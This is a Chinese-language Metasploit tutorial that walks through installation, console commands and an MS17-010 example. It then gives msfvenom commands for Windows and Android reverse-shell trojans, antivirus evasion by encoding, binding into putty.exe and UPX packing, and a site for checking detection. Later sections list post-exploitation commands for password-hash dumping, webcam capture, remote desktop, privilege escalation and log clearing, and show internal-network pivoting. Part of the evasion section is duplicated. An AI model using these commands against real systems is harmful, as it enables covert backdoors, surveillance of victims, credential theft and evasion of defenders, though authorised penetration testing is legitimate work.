Metasploit入门教程
0.Metasploit简介
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。
1.Metasploit安装
Windows平台
首先从官方网站下载安装程序:
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
默认端口:3650
关闭杀毒软件后以管理员身份运行安装程序,安装过程会附带安装PostgreSQL数据库用以存储metasploit内各模块,载荷等索引,加快搜索速度
安装完成后,在桌面生成Metasploit的快捷方式,右键以管理员身份运行将打开cmd并运行Metasploit控制台
Windows下启动Metasploit时加载时间较长,若无反应请耐心等待3-5分钟
Windows平台上,Metasploit还提供了Web访问界面,实现图形化的操作
Linux平台
从github获取
git clone https://github.com/rapid7/metasploit-framework.git
切换到metasploit-framework目录,赋予msfconsol执行权限并启动
cd metasploit-framework && chmod +x msfconsole && ./msfconsole
使用以下命令下载一键式安装程序,具体安装进度试网络情况
cd /opt && curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall
Kali Linux自带了Metasploit以及自动化渗透工具Armitage
Android平台
安卓安装Metasploit实际上是先在安卓上安装一个linux子系统,然后再在此基础上安装Metasploit,虽然过程复杂繁琐,但在企业网络环境下进行渗透测时,拎着一台笔记本接入网络也许会太过显眼,这种情况下在安卓手机或平板上安装Metasploit也不失为一种选择
前提:安卓手机或平板需要root权限
通常选择安装Termux作为基本环境,启动后会联网下载系统,具体时间视网络环境长短不一,所以你可以选择在这时候睡个午觉什么的 =.=#
Termux使用apt包管理器,执行以下命令更新
apt-get update && apt-get upgrade -y && apt dist-upgrade -y
接下来的安装Metasploit和上述linux平台安装相同
2.使用Metasploit进行渗透测试
Terminal下msf常用命令简介
msfdb init msf数据库初始化
apt install metasploit framework msf更新
msfVENOM 多平台攻击载荷生成器
msf-nasm_shell 将汇编指令转换成为对应的16进制机器码
msfconsole 打开msf终端
msf终端下常用命令简介
db_status 查看数msf据库连接状态,连接数据库能够优化搜索等过程
db_rebuild_cache 重建缓存,将模块等索引重新存入数据库
db_nmap 调用nmap扫描,并将扫描结果存入数据库
help [db_connect] 显示命令的帮助信息
search [module] 搜索含有关键字的模块
use [module] 选择使用一个模块(以ms17_010永恒之蓝为例)
show payload 显示该模块支持的payload
show options 显示该模块需要设置的参数(其中required为no的表示不是必须的参数)
info 如果觉得show命令显示的不够完整可以直接输入info查看详细详细
set [opt] 使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)
setg [opt] 设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使用unsetg取消设置)
back 返回上级状态
exploit/run 两个命令都表示运行攻击模块
sessions 查看当前连接的会话
3.使用msfvenom生成木马文件
t关于payload的选择,出于防火墙等多种原因,目标主机上可能会限制外网对内网一些端口的访问,甚至是只开放一些端口然后关闭其他所有端口。在这种情况下,让目标主机回连攻击者成为更好的一种选择,这种模式相当于目标主机自己发出一个对外的连接请求,属于正常的流量,因此可以绕过安全设置,所以在选择payload时普遍选择使用带reverse的payload。
一般32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。当然仍然需要根据不同的需求选择不同的载荷
查看可使用的载荷/编码器/nops/所有列表
msfvenom -l payload/encoders/nops/all
查看可生成的木马文件格式,使用-f 指定木马格式
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe
生成安卓木马
msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk
msf终端监听会连回话
use exploit/multi/handler 该模块用于接收回连会话,一般只需要设置监听主机和端口号
4.木马免杀
使用多个编码器混合进行多重编码
不推荐使用,免杀率低,编码时间长,且生成的木马可能会出现无法运行或运行后无法回连到攻击端的情况
"-f raw" 表示生成原始木马,这种通过管道生成的木马只需要不断传递,所以只需要在最后一条命令指定生成的格式,而在此之前都应该使用raw的原始木马
捆绑到正常文件中
推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值
选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe
加壳
推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择
upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h
上述方法综合使用
附上一个在线检测木马的网站: http://www.virscan.org/
捆绑到正常文件中
推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值
选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子
加壳
推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择
upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h
上述方法综合使用
附上一个在线检测木马的网站: http://www.virscan.org/
5.meterpreter后渗透利用
通过exploit/multi/handler模块监听,并与目标主机建立连接后,能够使用meterpreter进行后渗透利用
pwd 打印当前工作目录
sysinfo 查看系统信息
ps 查看当前目标机上运行的进程列表和pid
webcam_snap 调用相机拍摄照片(使用webcam_stream能够通过浏览器模拟录像机,实现实时监控)
run vnc 运行vnc远程查看屏幕(run screen_unlock实现远程控制)
run post/windows/manage/enable_rdp 如果目标主机是windows系统,使用该命令开启目标的远程桌面3389
screenshot 截取目标主机当前屏幕
getuid 获取当前权限的用户id
getsystem 获取system权限
hashdump 获取用户名与hash口令
shell 获取目标主机shell(windows环境下中文乱码的解决办法:chcp 65001
Ctrl+Z 退出shell模式,返回到meterpreter
upload 上传一个文件
download 下载一个文件
excute 执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)
clearev 清除日志
background 将Meterpreter放入后台(使用session -i重新连接到会话)
6.Meterpreter进行内网渗透简介
在渗透过程中,当你拿到一台能够连接公网的的主机的权限时,这台主机可能还连接着一个内部的局域网络,而且这个局域网内的其他主机没有对外访问的权限。这是一种很常见的局域网模式,通常一些无法连接外网的主机内可能存放着一些敏感文件,此时可以通过以及控制的那台主机作为攻击者访问内网的跳板,用来实施对内网的渗透
添加到达内网的路由
run get_local_subnets 获取目标主机上的子网状态,其中192.168.16.0和攻击机在同一个网段,169.254.0.0是vritualbox的内部网卡模式
run autoroute -s 169.254.0.0/16 1 使用autoroute模块添加到达内网的路由经session 1转发
run autoroute -p 查看当前的路由表,可以看到发往169.254.0.0网段的流量都将通过session 1转发
接下来就可以在msf下使用db_nmap扫描内网存活主机,针对内网的开放端口进行攻击
portfwd端口转发
端口转发能够将内网端口转发到本地主机的端口,相当于virtualbox的端口映射功能。
portfwd -h 查看帮助信息
portfwd add -l 7070 -r 192.168.16.59 -p 3389 将目标主机192.168.16.59的3389转发到本地主机的7070端口
rdesktop 127.0.0.1:7070 端口转发成功后就可以从本地端口连接rdp
参考书籍《Metasploit The Penetration Tester's Guide.》《Metasploit渗透测试指南(修订版)》